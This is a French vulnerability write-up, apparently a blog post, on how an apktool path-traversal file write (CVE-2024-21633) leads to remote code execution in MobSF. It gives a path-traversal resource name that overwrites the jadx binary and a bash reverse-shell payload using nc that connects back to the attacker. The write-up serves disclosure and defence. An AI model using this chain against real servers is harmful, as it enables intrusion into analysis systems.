Exécution de code à distance MobSF (via CVE-2024-21633)

J'ai découvert une écriture arbitraire de fichier dans apktool et je l'ai signalée via l'avis de sécurité GitHub. J'étais conscient que de nombreux projets dépendaient d'apktool, mais après la publication de l'avis et le correctif, peu semblent l'avoir remarqué ou s'en être souciés. J'ai décidé de vérifier son impact et son exploitabilité dans certains des grands dépendants, puis j'ai commencé par MobSF.

La vulnérabilité nous permet d'écrire n'importe quoi à un chemin relatif par rapport à "${decode target path}/res/", le plus grand impact serait d'obtenir une RCE. Mais il y a un hic : le fichier écrit n'est pas exécutable.

J'avais ces deux idées en tête avant de plonger :

Nous pourrions chercher à écraser les fichiers d'initialisation du shell comme .bashrc/.zshrc etc., mais cela nécessite soit que "decode target path" se trouve sous le dossier utilisateur pour pouvoir cibler comme : "../../.bashrc", soit connaître (ou bruteforcer) le nom d'utilisateur pour avoir une cible comme "../../../../username/.bashrc". Un bon point ici est qu'une application peut avoir 0xFFFF (65536) noms de ressources brutes différents car les identifiants de ressources ressemblent à 0x7F0B1234 (1 octet d'identifiant de paquet généralement 0x7F, 1 octet d'identifiant de type (ex. raw, drawable), 2 octets d'identifiant de ressource). Dans notre cas, si nous supposons que MobSF s'exécute dans Docker, nous connaissons déjà le nom d'utilisateur, MobSF. Cependant, après avoir écrasé le fichier, nous devons attendre qu'un shell soit généré, ce qui n'est pas garanti.
Créer une tâche cron pour exécuter un script malveillant, nécessite que l'application ait les privilèges root.

Mais que faire si nous avons simplement la chance d'avoir une application qui change les permissions d'un fichier en exécutable ? Et encore plus chanceux qu'il soit exécuté ensuite ? Et tout cela doit se produire après l'exécution d'apktool. C'est exactement la situation avec MobSF. MobSF utilise jadx dans le cadre de son analyse statique, il appelle jadx via un sous-processus, mais juste avant, il change la permission de jadx en exécutable.

Extrait du journal où apktool, chmod et jadx sont respectivement appelés :

[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

Nous allons utiliser jadx comme cible, mais nous avons besoin du chemin relatif de jadx par rapport au dossier res. Nous pouvons l'obtenir en utilisant os.path.relpath() dans une fonction Python.

Notre dossier de base des ressources est "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

Nous voulons écraser le binaire jadx au chemin : "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

Notre charge utile sera dans res/raw/jadx

#!/bin/bash
nc host.docker.internal 9001 -e sh

Le nom de la ressource sera "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources Téléchargez l'APK et attendez que jadx soit exécuté, nous obtiendrons un shell sur notre écouteur nc. upload Bingo! reverse-shell

J'ai ensuite signalé cela à l'équipe MobSF par e-mail, j'ai reçu une réponse rapide et ils ont corrigé le problème en mettant à jour vers une version plus récente d'apktool, mais le comportement consistant à rendre jadx exécutable et à l'exécuter ensuite est toujours présent. J'aurais plutôt préféré que la permission soit définie à l'avance et que le répertoire reste non inscriptible.

Suivez pour plus ! @0x33c0unt

CVE-2024-21633

Populaires

Exécution de code à distance MobSF (via CVE-2024-21633)